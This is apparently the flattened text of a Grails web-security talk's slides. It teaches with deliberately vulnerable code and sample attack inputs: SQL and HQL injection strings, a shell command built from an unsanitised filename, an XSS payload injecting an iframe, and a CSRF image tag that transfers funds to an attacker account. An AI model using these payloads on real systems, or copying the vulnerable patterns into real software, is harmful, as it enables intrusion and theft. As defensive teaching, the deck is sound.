
This talk is meant to discuss security issues in the spirit of helping those who build systems make stable, secure web applications.  
  


 
            Happy Path
Easiest thing possible
MVP
No unauthorized access.
Hardened
Tested
Grandma's cat photos
Your blog
Static content
Banking
Health information
Government
Big business
Payment systems
$$$ of loss potential
Office Space
Loss of consumer confidence
Restore the backup
Maybe a few comments lost since last backup
No animals were harmed
Grandma cries for a minute
 
             
             
             
            
(but verify)
 
             
             
             
            
"SELECT * FROM accounts WHERE custID='" + params.id +"'"http://example.com/app/accountView?id=' or '1'='1
 
             
             
            String hql = """from AccountHolder 
        where username = '$username' 
        and password = '$password'"""
def row = AccountTransaction.executeQuery(hql)admin' AND substring(password,0,1) == char(64) AND '1' = '1 
            Or better tested sanitization tools
 
            Grails 1.3.7 (pre 1.3.8)
class MyDomainObject {
    def SpringSecurityService 
    ...
}“cp img.png ./archive/$filename”.execute()
log.info “user benign said ${message}”http://example.com/thing/action?message=[ERROR] Admin password has expired!!  OH CRAP HELPdef transfer(Transfer tfr) {
   Deposit d = new Deposit(amount: tfr.amt)
   d.save()
   Withdrawal w = new Withdrawal(amount: tfr.amt, description: tfr.desc) 
   w.save() 
}
 
             
            http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii 
             
            
xkcd.com/936/
 
             
            reviewText = """Excellent Product</div>
<iframe src="myadnetwork.com/pwnage.html"/>
<h1>Injected DOM</h1>
<div class='review'>Good work"""view.gsp (codec = none)
<div class='review'>${reviewText}</div>Direct execution
eval()
window.execScript()/function()/setInterval()/setTimeout()
script.src(), iframe.src()
 
             
            https://example.com/account/123https://example.com/account/999
Filters
ACL
Permissions
Trust but verify!
Ownership level checking Authorization
...for example
 
             
             
             
            socat -v tcp-listen:8080,fork tcp:localhost:80Poor salting
 
             
            <img 
    src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" 
    width="0" height="0" />
URL Mappings
allowedMethods



 
         
         
         
         
         
            Apple SSL issue
OSX/iOS